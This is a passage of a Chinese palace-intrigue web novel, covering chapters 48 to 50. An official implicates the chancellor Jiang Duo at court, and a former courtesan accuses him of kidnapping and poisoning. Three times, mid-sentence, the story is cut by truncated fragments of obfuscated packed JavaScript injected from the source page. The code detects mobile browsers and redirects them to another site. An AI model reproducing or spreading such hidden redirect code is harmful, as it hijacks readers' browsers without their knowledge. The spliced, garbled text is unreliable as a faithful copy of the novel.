“我安排了城卫巡守,今夜当值的都是自己人。” 夏衍说着,突然听到身旁的陈京观轻笑一声,他抬头看了陈京观一眼,而眼前的人笑意不减,缓缓开口。 “夏把总,也是有自己的人了。” 夏衍被陈京观的话惹得脸颊发红,尴尬地挠了挠头,但是陈京观拍了拍他的肩,继续说:“我当日在城门口见你时,你年纪小,但是大家也愿意听你的,这证明你本身就会让别人信服。我相信现在也是如此,无关你的身份,而在于你是夏衍。” 夏衍下意识咬着嘴唇,但是轻轻点着头。 “不过我能顺利抽身,还是多亏您。” 陈京观闻言没说话,放在夏衍肩膀上的手捏了捏他的肩头,当初比自己矮一个头的少年如今已经与自己齐肩,身量看着也高大了许多。 “日子过的真快啊,你们都长大了。” 陈京观说着,转头看着跟在自己身后的二人,而他们也互相看着,最后一齐笑了。 那一夜,大家伙基本没怎么睡,虽说他们手上证据充分,但在那天高皇帝远的景州都能遭遇不测,更何况这暗流涌动的阙州。 不过大家许久没见,肚子里的话说着说着也就等到了天明,到最后就连一直沉默着的关策都打开了话匣子,说到动情之时又经不住要流泪。 只是这时的平芜可不想惯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329005|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,就笑他多愁善感,关策也没反驳,应下了这个评价。 第二日清早,虽说一夜未眠让身子上有些疲乏,可是他们个个看起来神采奕奕,等着崇明殿的大门一打开,两车册子就直送到了萧霖的书房。 陈京观与关策要等着群臣觐见才能入内,他们便早早候在宫门口,随着来上朝的大臣越来越多,他们周遭的声音也就越来越繁杂。 “时辰到,开宫门!” 内侍有些尖锐的嗓子止住了宫门口的声音,大家整了整衣冠缓步进去。 虽说关策是从四品,可他毕竟不是京官,所以排在很后的位置,陈京观向前走时回头看了他一眼,瞧见他稍有些紧张地抿着唇。 “今日朝会,诸卿可有事禀报?” 萧霖坐在正中间的龙椅上,斜靠着身子有些漫不经心,不过陈京观进来时望见他瞧了自己一眼。 “臣景州知州关策,奉皇上钦命,彻查景州刺史左疆奇贪墨茶税一案,今案件终了,特进京回禀。” 关策从队尾走到最前头,站定了还有些恍惚,等着他顺了两口气,便一股脑将刚才排演了许久的话说了出来。 “你说。” 萧霖的声音听不出情绪,倒是陈京观用余光瞟见了过道另一侧的蒋铎。 当日关策来告御状时他正巧告假,陈京观也就错过了看他反应的机会,此时关策再提此事,蒋铎倒是表现出一副事不关己的样子。 “左疆奇自上任以来,利用权利之便谋求财物不计其数,伙同景州茶商刘启等人以次充好,更是以刺史之名威逼市买司在茶税登记上作假。以上种种,都是其中饱私囊之举。臣已将左疆奇相关罪证悉数呈上,望陛下明察。” 关策说罢,重重在地上叩头,再起来时额头的红印像是能滴出血来。 他刚说完,内侍就从书房拿出了相关证据,人手一本分给了朝堂上的大臣,其中数额之巨,让本还一片死寂的朝堂如即将煮沸的铁锅,喧嚣不止。 “但臣听闻,这‘等’字中,也有关知州的亲眷。” 沉默许久的蒋铎突然开口,他的声音就如同一块止沸石,人群瞬间没了声音。 不过关策好像知道他会拿此事做文章,他从怀里掏出了一张折叠好的纸,交由内侍送了上去。 “这是臣要禀的第二件事。臣的父亲早年间通过特殊手段获得了这张官令,以此开始了以景州茶冒充遥州茶的生意,但是茶税之事,与我们无关。臣深知父亲所做之事有悖道德,可这只是因为景州的茶不受重视,他看不得大家辛辛苦苦种出来的茶叶,最后只能卖出最劣等的价格。 关策说到这,又红了眼睛,但是这时的他抑住了眼眶里的珠子,挺着胸脯说道:“臣以全族性命发誓,我关家绝对没有做谋财害命之事。且我已与家中长辈商议,愿将关家全部财产捐入国库,以作将士们的军饷。” 关策这话一出,萧霖饶有兴趣地看着他,眼神里闪过一丝狡黠。 “你是想大义灭亲?” 关策没有应答,依旧挺直腰跪着。 “好,如今国库吃紧,关知州想花钱消灾,我可以理解。不过你刚才所提到的特殊手段,能否详细说说?” 萧霖说这话时,身子朝前探着,而陈京观感觉到他背后这些大臣骚动起来了,那一张张故作镇静的表皮好似下一秒就要魂飞魄散,他突然想笑。 倒真不知,这官令是多少人的谋财之道。 不过他此刻更好奇关策要如何答,他微微转头看着伏在地上的人。 半晌,听到关策念出一个人的姓名。 “蒋铎。” 48.因缘和合(一) “什么?” 萧霖偏过头又问了一遍,而关策像是下定决心一般长叹一口气。 “陛下请看那张官令的右下角,虽说年岁久了花纹有些褪色,可丞相府的章子,那是阙州除了玉玺以外最精细之物了。” 萧霖闻言将手里那张有些泛黄的纸高高举起,透着窗外洒进来的光,那个“蒋”字在纸上清晰可见。 事到如今,陈京观也明白了关策昨天的言外之意。 关策将陈京观摘了出去,可他却不愿意放过这打击蒋铎的机会。 “你要告丞相?” 萧霖说着,放下手里的东西,又将身子靠在了椅背上。 “臣不敢,如今当事者皆已故去,臣不敢以下犯上妄议丞相。” 关策说话时陈京观看了一眼蒋铎,可能是在这位置坐的久了,蒋铎听到现在连眉毛都没动一下。 “那,”萧霖将身子朝蒋铎的方向转动,手上不经意翻动着那张官令,“丞相对此有何解释?” 蒋铎现在的处境很尴尬,他若说那是仿制,便是说萧霖的官令不够严密,可若说自己不知道,他的名字却有的确挂在上面。 “原来关邵清竟是知州的父亲,那可真是大水冲了龙王庙。” 蒋铎说着,忙到关策旁边假作亲热。 “启禀皇上,臣早年间任吏部尚书之时有幸结识关兄,正如关知州所说,他对景州茶叶卖不出好价之事甚是可惜。臣就擅作主张给了他一张官令,让他将茶带到阙州来卖。后来他的生意确有起色,也开拓了景州茶叶的新销路。不过对于他以次充好之事,臣却不知。” 蒋铎这一段话,脸上的表情比他的词语更加丰富,萧霖看惯了他这副样子,也并没有觉得这会成他的把柄,于是他又问关策。 “这么说来,全是你父亲一人之过。” 关策闻言连连认罪,说了些自我贬低的话,不过他突然话锋一转,面朝蒋铎哭了出来。 “家父死时还感念丞相出手相助之恩,不知丞相是否收到过父亲送去的东西?” 关策说话时又成了怯懦的样子,可是他说出来的话却让蒋铎一怔。 “什么?我并未收到到关兄寄来的东西。” 蒋铎话刚说完,关策就哭得更厉害了,陈京观看着眼前这副画面颇有看好戏的意味,要不是台上的萧霖瞧了他一眼,他嘴角的笑意都压不住了。 “行了,你二人的旧事不要在这讲了。其他人要是没话说,就散了吧。” 蒋铎有些无奈地撇嘴,堂上站着的人此时唯恐避之不及,等着内侍说了退朝,便三三两两往外跑。 而关策被身边的内侍扶了起来,要他随着自己去书房一趟。 “公公先等等,我与关知州就两句话。” 蒋铎拦下了要走的关策,而那内侍不愿得罪,就先随着大臣退到殿外。 陈京观离殿时看了关策一眼,瞧见他朝自己打了个手势。 “不知关知州何故如此?” 如今殿中就他二人,蒋铎恢复了平日的傲慢,他轻抬双眼,语气中的愠怒不掩分毫。 “丞相说笑了,我与丞相无冤无仇,我等下还打算亲自登门拜谢。” 关策掬着身子,原本他就矮小,现在彻底包在了蒋铎的阴影之下。 “你以为单凭此事就能让皇上对我起疑心,你就能帮着陈京观除掉我?你们不要太天真了。” 蒋铎靠着关策的耳朵,声音压得很低,偶然间的触碰让关策轻轻一抖。 “丞相所言极是,臣所做就是蚍蜉撼树,”关策也迎上了蒋铎的动作,“可朽木易折,臣愿以小搏大。” 关策的话说到最后也袒露了其野心,但是蒋铎对此嗤之以鼻,他朝后退了两步,轻轻挑眉。 “我期待这一天。” 说罢,蒋铎转身走出了崇明殿,而关策突然卸了劲,险些摔倒在地上,他回头看了看那高高在上的皇椅,又转身看着空空如也的大殿,突然觉得心里空了一块。 他曾经放弃,又费尽心机爬回来的地方,也不过如此。 “关知州走吧,且不能让皇上再等了。” 殿外的内侍见萧霖离开了,就探出个脑袋叫了关策一声,关策立马笑着迎了上去,说了句“辛苦”。 同样是去萧霖的书房,这一次换了他一个人去,关策的脚步却更加轻快。 他由内侍带着走进内室,而萧霖正一个人对着棋盘发呆,见他进来了就问他会不会下棋,得到答复后将手里的黑子递给关策。 “茶税办得不算漂亮,但是刚才在堂上的陈词倒是颇有设计,关知州真是我南魏的遗珠。” 萧霖盯着棋盘,手里不停摸索着那枚白棋,他犹豫了一会下在了关策面前。 “皇上谬赞,臣愚笨,亏得少将军提点。” 关策手里的黑子已经被他握出了汗,他要下手时先用衣服擦了擦,才将棋落到棋盘上。 “京观在信上对你多有称赞,他不是个会奉承的人,他的话,我会当真。” 萧霖说着,又从棋盒里拿出一枚白子,下在了关策刚才那枚棋的旁边。 “臣定当时刻感念少将军救命之情和知遇之恩。” 萧霖没答话,看着关策犹豫了一会还是将自己刚才那枚棋吃掉了,便发出哈哈大笑。 他这一反应惊了关策,关策连忙起身跪在地上,萧霖放下了手中的棋子,走到书桌旁才让他起身。 “你在景州多少年了?” “禀皇上,年关一过就整十年。” 萧霖叹了一口气,重复了一遍他的话,然后抬眼望着关策。 “屈才了。” 关策闻言没敢说话,接着就看见萧霖招呼内侍替他研磨,随后问道。 “你将家财都捐了,那家中父老可安顿好了?” 关策点了点头,回:“少将军开恩,留下了臣的祖宅,如今二叔年岁已高,搬进去与我同住,我也好照拂。家中兄弟姊妹大都成家,也无大碍。” 萧霖了然地摆着头,开始在纸上写着什么,片刻后等他停笔,那内侍就将圣旨传了出去。 “留在京中吧,我替你置办宅子,家里的事情你找人办好,你以后的俸禄,也养得起你二叔。” 关策闻言,立刻跪在地上磕头谢恩,而萧霖没有再理会他,由内侍扶着进了自己的卧房。 每逢寒冬将至,他的膝盖总是不太舒服,久站或久坐,总惹得一阵钻心刺骨的痛。 等他离开,关策也由内侍扶了起来,他们替关策整了整衣冠,恭敬地将他送出门去。 “关大人留步,少将军命奴才给您传个口信,说是让您等着宣旨再走。” 来传信的小内侍屈着腰,尽量压低自己的声音,关策道了声谢,放慢了脚下的步子。 他明白陈京观的意思,崇宁对于官员任免很是看重,别的折子她或许不过问,可是他这一道折子,她势必要留下来审一审。 不过关策不太在意,他如今既然能进到这崇明殿了,就不怕留不下。 果然,一刻之后升任关策为通政司使的圣旨传遍阙州,而萧霖为他选的宅子,就是当初陈京观拒绝的那个。 可关策顺利升迁的事倒是让陈京观心有疑虑,若说他任的是五寺或者六部,陈京观都理解。 而通政司,这是明面上接受萧霖与崇宁拉扯的地方,从萧霖登基之后,这个位置上的人没有几个能活得长久的。 只是他如今进了阙州,就不能如在景州一样随便去寻关策,更何况以他们如今的身份,这其中的关系更为玄妙。 “少将军,门口有一个自称来道贺的人求见。” 陈京观在平海之事后吸取教训,从董辉所带的人中留下了当时在广梁招募的三十人作为府兵,而今来报的就是今日当值的一个。 “他形貌如何?” “你见见不就知道了。” 陈京观的话刚问出口,他耳边就响起江阮的声音,而他面前还拦着门口的守卫。 陈京观摆手示意守卫退下,那两个卫兵就关上门离开了。 “不知江掌柜此话从何说起,升职的又不是我。” 陈京观没有在意江阮的唐突,反倒觉得他没有直接推门而入已经是给自 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“那是自然,当日在景州我有些误会,如今我自己想明白了,觉得应该与陈兄说一声。” 江阮说话时神情确似回到了之前,不过陈京观没有理解他所言“误会”是何意,但是见江阮并不在意,他便也没有开口。 “既然如此,那日的不欢而散合该在今日一同补齐,留下吃饭?” 江阮闻言点头,等着陈京观将平芜支出去传菜时,他又突然倾身朝陈京观的方向靠了靠。 “关策在堂上不动声色就将茶税的锅推给了蒋铎,明眼人都看得出其中的含义,萧霖不说话是因为知道仅凭茶税扳不倒萧霖,但是他没有斥责关策,证明他在等,等你们下一步动作。” 江阮说话时手指扶着杯子,那热气腾腾的茶水让他微微泛红的关节得到了缓和。 “不得不说,你们这一步走得很巧妙,以小搏大,用些细枝末节模棱两可的罪名先套住蒋铎,再等着寻到新的镣铐,将他彻底送上断头台。” 江阮所说的的确是陈京观最初的想法,但是当他同意关策不再追究左疆奇之死的时候,他就放弃了这个打算。 不过他将原本的筹码送给了关策,而关策又还了一个给他,歪打正着让一切又循着他的想法发展下去了。 “江掌柜果然机敏,我那三寸心肠断是瞒不了您的。” 江阮笑了笑,却没有再说话,而陈京观心中的疑虑却慢慢浮出水面。 “可你为何要打击蒋铎?这才是你来找我的原因吧。” 陈京观突如其来的问题止住了江阮的动作,但他脸上的表情却愈加喜悦。 “我们是殊途同归,也是因缘和合。” 这是江阮第一次透露自己的目的,虽然是以含糊不清的方式说着,但是陈京观心里他那模糊的面容好像清晰了一些。 只是陈京观再往下追问时,江阮又停住了话头。 不过他向来如此,就像是一个设着谜语但应有尽有的藏宝箱,你能从他那里得到什么,要看他愿意给你什么。 “那江掌柜对于镣铐,可有想法?” 陈京观换了个问题,继续等着江阮的应答。 虽说与江阮说话要费他很多心思,可是与他说话无疑又是收益颇多。 陈京观有时好奇这个比自己还小的人,怎么会有那么多曲折的心肠,但同时又有些心疼他。 “少将军,京兆府前有人鸣登闻鼓,甄大人说请您去一趟。” 没等江阮说话,他们的房门就被人推开。 甄大人,甄符止,年纪轻轻就到了如今的位置,陈京观平日与他没说过两句话,也就是中秋宴时寒暄了两句。 此时他特意点了陈京观的姓名,这很难不让人生疑。 陈京观朝着来报信的小兵点点头,又转过身去看着江阮。 “江掌柜可有兴趣同去?” 江阮脸上挂着笑,缓缓点头。 “走吧,毕竟陈兄还欠我一顿饭,看完戏再吃,说不定更有风味。” 49.因缘和合(二) 陈京观和江阮赶到京兆府的时候,那府衙门口已经人满为患,好些来看热闹的百姓远远瞧着,陈京观甚至从人堆里看见了几个早朝时见过的身影。 守在府衙外面的甄符止看到陈京观,冲他遥遥一笑,招呼他过来。 “甄大人这是何意?陈某不该掺合这京城的事务。” 陈京观与甄符止的品阶相当,二人见面就少了些奉承,陈京观顺着甄符止的目光朝堂前看,那里跪坐着一个女子,她身边由四名衙役守着。 “是那女子特点了少将军的名。我想着既然如此,就只能劳烦您跑一趟,顺便帮我辨一辨她所言之虚实。” 甄符止身上有当今南魏官场少见的书生傲气,所以陈京观愿意与他亲近,听他这么一说,陈京观又转头看着那女子。 “她可有自报家门?” 甄符止点了点头,说:“诨名霜栽,泯川楼琵琶女。” 甄符止这话一出,陈京观一怔,眉眼间不自觉多了几分焦愁。 那日霜栽不辞而别,他派人去崇州打听过,结果得知她已有六个多月没回过泯川楼。 那些买了她听曲的富商大贾每日登门去为难老鸨,可那老鸨只是哭天抹泪说人丢了,她也寻不到。 要说陈京观没怀疑过什么那不可能,但是他后来也派人查过霜栽的底细,从阙州被卖开始,每一条都与泯川楼的册子对得上,而且她常年要面客,这些事情做不得假。 可是陈京观是两个月前在蒋铎的府上见到了霜栽,那在这之前呢,她离开泯川楼又能去哪? 陈京观想着,突然将霜栽与那日平海看到的女子对上号。 不过一想到他们花了小半年时间探查自己的身份,陈京观突然想笑。 他的动作引起了江阮的注意,他看着陈京观没说话,眼神却若有所思。 “那这两个多月,你又去了哪里?” 陈京观自言自语着,下意识叹了一口气,随后示意甄符止将自己带进去。 等他们坐到堂前,那跪在地上的霜栽就抬起头看着陈京观,眼中有意味不清的情绪。 “霜栽姑娘,好久不见,身子好些了吗?” 陈京观率先开口,他这亲昵地问候让他身侧的甄符止微微皱眉,倒是霜栽没感到意外,她脸上还挂着泪痕,跪在地上朝陈京观微微倾身。 “多谢少将军那日出手相救,才让小女捡回一条命来,不过……” 说到这,霜栽又跌坐在地上,一手拿帕子掩着脸,一手堪堪撑着地。 见陈京观没出声,甄符止便说道:“将你方才与本官所说,再详述一遍给少将军。” 霜栽得了命令刚准备开口,陈京观便示意旁边的衙役给她拿把椅子,看着她坐定,才微微点头示意她继续。 “那日小女不是有意不告而别,而是我收到了信说曾经救过我的姑姑病重,我少时多得她教导,才能保全自身。事出紧急,我怕见不到她最后一面,便快马加鞭往崇州赶,可谁知,”霜栽说着,一边哽咽一边流泪,“姑姑竟是受我牵连,被蒋铎害死的。” 陈京观在正堂最上面的椅子坐着,甄符止看不清他的表情,但见他半天没说话,就让霜栽继续讲。 “那时我一个人在崇州不敢回泯川楼,怕蒋铎的眼线将我抓回去,而少将军您去了景州公务,您家的大门也锁着。我没处可去,就一个人在您家附近那片桃园待着,索性风雪还没降下来,让我能有机会再见您一面。” 霜栽的话看似对着所有人说,但是她的眼睛却一直盯着陈京观。 甄符止没有对其中的细节产生疑问,陈京观想着应该是在他来之前霜栽就交代过了。 “那你今日是来?” 一听陈京观的话,霜栽更是哭得泪如雨下,她打着颤回道:“小女自知命贱,可是辛苦了活了十几年,断不想草草没了性命。我要状告丞相蒋铎绑架欺辱,草菅人命!” 霜栽说着,缓缓将自己的袖子撩起来,那深深浅浅布着许多淤青和血口子,白嫩的皮肤将这一切显得更加触目惊心。 “你所状告之人,是当朝宰相,你可想清楚了?” 甄符止听到这,终于开口问道,而霜栽笃定地点头,又俯身跪下。 “当日小女中毒之事,少将军全程目睹,可为人证,小女从姑姑家带了仵作验尸的记录,当日当值的仵作我也请了来,亦可证明姑姑与我所中之毒相同,而丞相将我从泯川楼强行带走,那日妈妈和众多宾客皆为见证,我身上的伤和丞相府家仆刘三的证词皆在此,望府尹大人为民女主持公道。” 霜栽说完就在地上叩头,甄符止没应声,侧目看了一眼陈京观的反应。 其实从第一眼看到对方时,陈京观就知道了霜栽的目的,但是等她说到这,他反倒不知道她是从何时起开始算计,而自己在她的算计中到底是什么位置。 不过陈京观记得霜栽听到自己说要报仇时的表情,那是她为数不多沉默的样子。 “当日你为何跟着蒋铎进京?” 陈京观缓缓开口,而霜栽却沉默了,她用眼神打量着陈京观,似乎没看懂他在想什么。 “在你离开后我去泯川楼问过,当日是你主动要跟着蒋铎走的。” 陈京观说话时面无表情,反倒是甄符止轻轻挑眉,对他的反应产生了兴趣。 早在陈京观来之前,他就问过霜栽与陈京观的旧事,霜栽说是陈京观在丞相府救下了她,但是他觉得没那么简单。 以陈京观如今的身份,公然为了一个歌女与蒋铎翻脸,这不是个划算的买卖,但是霜栽的话到这就停了,其余的一切她皆道与此事无关。 甄符止虽然不站队,但他看得清楚如今的形式。 陈京观与蒋铎之间终要拼个你死我活,那他此刻驳斥霜栽的话,反而将他自己立于中间位置。 甄符止不禁偏过头看了陈京观一眼,随后便听到霜栽应道。 “那日,蒋铎说要带我回家。” 霜栽此话一出,从堂内到门外,窃窃私语声不绝于耳,就连看护她的衙役都面面相觑起来。 “把话说清楚些,”陈京观抬手止住了嘈杂的人群,盯着霜栽的眼睛,“你到底叫什么?” “小女孟郁妍,家父原为户部尚书陈频的幕僚孟知参。当日家父下狱,蒋铎以诬陷朝臣之名治了他的罪,连带着,将我们全家发卖到了廊州。可皇上的圣旨,并没有提及要连坐。” 霜栽讲起过往,脸上的神色突然冷了下来,她语气平平,只在提到父亲是稍稍有些动容。 她这句话无疑将案件升级,甄符止坐在主审的位置上静静瞧着眼前的人,霜栽所提到的两位,都是他心中最敬重的人。 甄符止曾经后悔过许久,年少时因为家中长辈阻碍而错过了苏扬闭关前最后一次收徒,失去了与他们成为同门的机会。 陈频与孟知参,乃至苏扬,这些人是当今南魏的禁忌,却也是他心里久久不能平复的隐痛。 甄符止缓缓起身,从桌边绕过,在陈京观面前止住步子。 “少将军可否愿意与我一同上书奏请陛下?” 陈京观闻言,抬头望了一眼甄符止,他在说这话的时候有种不容置疑的气度,陈京观好像也能明白为何他三十岁就能官至京兆尹的原因了。 “我之幸事。” 陈京观说罢,站起来回以微笑。 甄符止上前走到霜栽面前,朝她伸手拉她起来,此时他再看霜栽,眼神中那几分轻薄换成了惋惜。 他欲开口,可最终只是派人为霜栽寻了落脚处,而陈京观调了府兵暗中守在那里。 等着京兆府的人群散了,甄符止出声叫住了要离开的陈京观。 “少将军留步,恕我唐突,但我觉得这事在上书前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为那支玉簪的缘故,席英对霜栽一直有些复杂的情绪,她没怪过霜栽,可是看到她,她总能想起那日倒在血泊中的平海。 “席英姑娘,明日我就要进宫陈词了,你家将军当真没什么嘱咐?” 陈京观与甄符止的奏折通过关策直抵萧霖的书房,但崇宁必定也有所耳闻,因为此案硬是比寻常的案子多拖了三四天,直到今早内司局才派人通传霜栽。 而席英刚准备离开,听到屋里的人如此轻声细语地问,她看了一眼门口的守卫,守卫装作没听到的样子望旁边让了让。 “少将军说小姐全按那日所说回禀陛下就行,他与甄大人已经将案情作了汇报,其余一些,”席英顿了一下,“全凭小姐的主意。” 屋里的人闻言轻笑着道谢,可还没等席英迈步,又听到霜栽说道:“那日的簪子,你可收到了,还喜欢吗?” 席英的拳头应声握住,她深吸一口气,回道:“喜欢,多谢小姐美意。” “别叫什么小姐了,我早就不是什么小姐了,继续叫我霜栽吧。” 席英没答话,轻声“嗯”了一下,她不知道霜栽听到了没有,就转身匆忙离开了。 “守卫大哥,能问问如今几时了吗?” 等着席英离开,那屋里的人沉默了一会又开口,她手里琵琶声不断,守卫本还听得入迷,她突然一问,倒让他有些晃神。 “酉时了,等下甄大人就会送来吃食,小姐可是饿了?” 那守卫这几日与霜栽相处,觉得她就如外表一般是个水一样的女子,不自觉地对她说话时声音都轻了,他转身隔着纱幔问,看到里面的人影依旧坐在桌旁弹琴。 “没,就是看不到光的日子,总觉得度日如年,就如同十年前一样,难捱。” 那守卫听了霜栽的话不再做声,他们这几日巡守的人其实私底下议论过这位娘子,大家七嘴八舌的也就慢慢补全了她的身世,到最后谁不说一句凄惨。 他轻叹了一声,朝四周环顾了一圈,用腰间的匕首悄悄将窗户撬了个口子,里面的人感受到有风拂面,就轻声回了句“谢谢”,然后继续小声唱着她的曲子。 “都道长安梦,未解长安愁。所历皆成幻,只眼向东流。” 50.因缘和合(三) 要说平日这些案子落不到萧霖手里,甚至有关蒋铎一派的弹劾他都看不到,可刚上任的关策毕竟是新官,颇有初生牛犊不怕虎的意思。 陈京观的折子刚递上去,通政司就草拟了有关蒋铎案的陈述,连带着茶税案未结的部分一同递了上去。 萧霖过去接触到的,都是经过崇宁筛选的,他睁一只眼闭一只眼也就过了,可是自从通政司的折子累过来,风言风语就慢慢成了气候,一些夹带私货的奏请文章里总是要提点上几句。 不过萧霖对此默不作声,他在等崇宁的反应。 可崇宁直到今日三法司会审,萧霖亲临现场,她都未作丝毫回应。 “堂下是本案的提请人,前翰林侍读孟知参之女孟郁妍。今此女状告当朝宰相蒋铎绑架欺辱,草菅人命,且在由京兆尹讯问时,此女提及十年前孟知参一案,丞相蒋铎疑以权谋私,擅自发落孟知参家眷,如经查属实,当定以越权治罪。” 说完,刑部尚书莫汝安将整理的案卷递给了萧霖,其上内容大致与陈京观的折子一样,不过三法司对于本案的意见倒各个不同。 陈京观随甄符止一起站着,由于他在本案充当着一个奇怪的角色,所以依照萧霖的意思,他首先要做的是尽量保全自己。 而他对面的,就是蒋铎。 其实只几日没见,蒋铎好像苍老了许多,陈京观瞧着他那双如鹰一般的眼睛,蒋铎却始终不曾看他。 “你还有什么要说的吗?” 萧霖手上翻着书页,不经意抬头,他的椅子离孟郁妍很远,他坐在台上只能看见一个瘦瘦小小的影子动了动,朝自己磕了个头。 “皇上,当日小女的父亲纵使一时情急冲撞了丞相,可他也为此丢了性命。您当日夸赞过哥哥您还记得吗?您说他颇有父亲的风姿,只等着他入朝辅佐。可他死了,十年前就死了。” 霜栽一直低着头,她的声音不大,可在这偌大的殿中,那些字眼如水波一般阵阵翻涌。 “我父亲痴愚,自认做不得一个好官,所以他选择了辞官离开这朝堂。可他要养家糊口,他除了那满腹墨汁,再无他法。他是错了,可他临死前还记挂着您,还记挂着巍巍南魏。于是他用鲜血为您书写下陈情书。他能做的,只有这些了。” 不知不觉间,萧霖握着那卷宗的手缩紧了,霜栽提到的那封血书他当然记得,他逐字逐句刻在心里了,可它也随着一把火成了灰烬。 “我们不求您宽容父亲之失,就连父亲也未曾为自己开脱半句,他打定主意要赴死,我知道的。”霜栽说着,眼泪的咸涩流进了嘴里,“可我母亲呢,我兄长呢?我们,也不能活吗?” 霜栽的话说完,全堂上下没了声响。 当时的事情没头没尾的终结了,如同左疆奇的死一样盖棺定论,没有人追究过,也就没有人在乎过。 可发生了就是发生了,记忆不骗人。 这十几年的搓磨,大家都老了,但是随着年岁越大,那些密不可发的心事就总会在午夜跑出来,就如同此时的霜栽一般,柔声问着他们。 我们,当真不能活吗? 我们,当真该死吗? 但是能说话的人成了哑巴,该听话的成了聋子,唯有一双双眼睛,时刻盯着风向,生怕自己步了前人的后尘。 “丞相,你有何要说?” 萧霖将手里的册子递给内侍,下意识皱起眉,而蒋铎朝前走了两步,朝萧霖行礼。 “此女所言,句句属实,臣无以为辩。” 蒋铎认命的姿态惊了在场的所有人,而他自己却突然笑了,撩起袍子跪在地上。 “当日陈频叛国,皇上下令诛杀后撤回命令,改让其护送六皇子去西芥为质。” 蒋铎在说话时特意强调了“诛杀”二字,他说完用眼睛瞟了一眼陈京观,然后继续说。 “许是天意所致,西芥之人半路截了马车,最后陈京观身首异处,倒也是终了。” 此时的蒋铎和疯了一般,他的每一句话都足以让萧霖下令将其杖杀,可是萧霖没有动,他只是侧了侧身,看着地上的人陈述自己的罪责。 “皇上您以陈频叛国为由,下令陈府满门抄斩。那孟知参就上书死谏,非说臣与长公主殿下干政。他空口白牙拿不出证据,我难道不该治他的罪吗?” 蒋铎说着,朝霜栽的方向转身,霜栽望着他时,那双哭红的眼睛像是能滴出血一般。 “再之后,陈府意外走水被烧,可陛下的圣旨要所有人死,我去查时,唯独陈频独子陈景豫不见踪迹,只有一面目全非者手握他的玉佩。试问皇上,在那情况下,您要留他,还是不留?” 蒋铎所言,名为陈述,实为诛心。 当时案件遗留的东西不多了,而留下的人,也都在此处了。 蒋铎的每一句,就如同一条鞭子一般鞭挞着他们,可他们谁都不能出声,因为一出声,无疑就是认下了所有罪过。 “于是臣擅作主张,下令搜查孟府上下,毕竟孟知参何故死谏,我们心知肚明。而结果就是孟家一家公然抗旨,臣最后只能下令将其迁出孟府。可不知为何,我的话传到最后就成了全家发卖。臣当日去寻孟小姐,也是探听到了她的行踪,要向她赔罪。” 蒋铎话音刚落,霜栽就笑出声来,她抿着嘴眼神里满是不可思议,她此刻佩服极了蒋铎这颠倒黑白的能力。 “至于孟小姐所说毒杀她与她师父一事,我想全是误会。那日少将军在场,我并没有机会能近孟小姐的身,反倒是她与少将军同饮后中了毒,此事所为何,我全然不知。” 事到如今,蒋铎的话将霜栽的陈词辩驳了个七七八八,唯一认下的只有擅自搜查孟府的命令,而当时唯一能作证的陈京观,此刻要是坦白身份,那他就是欺君罔上之罪。 不愧是能在宰相之位坐了二十年的人,陈京观抬头时对上了蒋铎的目光。 可那一瞬,他并没有从蒋铎眼中看到胜利后的喜悦,反而有一种不可言说的悲凉潜藏其中。 “蒋铎,你可知你刚才说的,也足以让我治你的罪?” 萧霖缓缓开口,而蒋铎只是点头,没有答话。 “当日你所行之事,可有人指使?” 萧霖的话没问题,可是他此时问出,陈京观却有些摸不着头脑。 仅从蒋铎刚才的话中,能降罪于他的证据都少得可怜,萧霖为何觉得能以此撼动崇宁的位置? “全乃臣一人所为,臣不是聪明人,我也只是做了我能做的。” 蒋铎同时用话回应着霜栽刚才的指控,而此时的霜栽跪在地上不知在思索什么,好像没有听到这句话。 “莫汝安,此事你如何看?” 萧霖话锋一转把矛头对准莫汝安,可他却莫名其妙看了陈京观一眼。 “丞相所言多有苦衷,其本意也是为皇上着想,但是他擅用私法确当论处。至于其他的,少将军,”莫汝安突然对着陈京观说,“当日你以家中小妹生病为由告假,可是去替孟小姐寻医问药?” 陈京观闻言点了点头,答了一句“正是”。 “那当晚您在丞相府,可有发现异常?” 如今话题被引到了自己身上,陈京观也不能在一旁看着,他朝正中走去,然后屈腰行礼。 “当日丞相邀臣往府上一聚,酒过三巡他请来歌女助兴,当时孟小姐就在其中。一曲罢她来给微臣敬酒,却突发恶疾不慎将酒洒在臣的衣袍上。我想着人是在我面前出事的,我定脱不了干系。于是我便问丞相该如何,丞相因其身份多有为难,臣便作主带走了孟小姐。那时她才吐露说自己是中毒了,至于其因何中毒,臣不知。” 陈京观说完,感觉到了霜栽的目光,但是他没有低头,依旧目视前方。 “也就是说,少将军只是意外救下了孟小姐,并非因个人恩怨或者其他?” 莫汝安的话暗含深意,陈京观点点头没有直接答他。 “那仅凭如今的证据还不足以定丞相下毒之罪,依臣愚见,今日仅就蒋铎擅用私法一事定罪即可,其余再论。” 莫汝安说罢,御史中丞与大理寺卿相对而视,也纷纷附议,迅速统一战线。 “那这罪,如何判罚?” 萧霖斜靠在椅子上,许是有些乏了,他便用手撑着自己的头。 “臣有一言,不知当讲不当讲?” 一直立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈京观看他的背影,心里有种说不出的感觉。 萧霖的旨意可称是不痛不痒,只要蒋铎一日不死,纵然他进不了宫,可丞相之位依旧是他的,宫里的事,崇宁会处理好,他们依旧是一个在内一个在外,掌着这南魏的天。 这一仗,最多算是平局。 “走吧,此事本不该牵扯少将军,是我的罪过,还劳烦您跑了一趟。” 等着其他人走得差不多了,甄符止便准备拉着陈京观离开,而陈京观缓过神笑着应承了两句,跟上了他的步子。 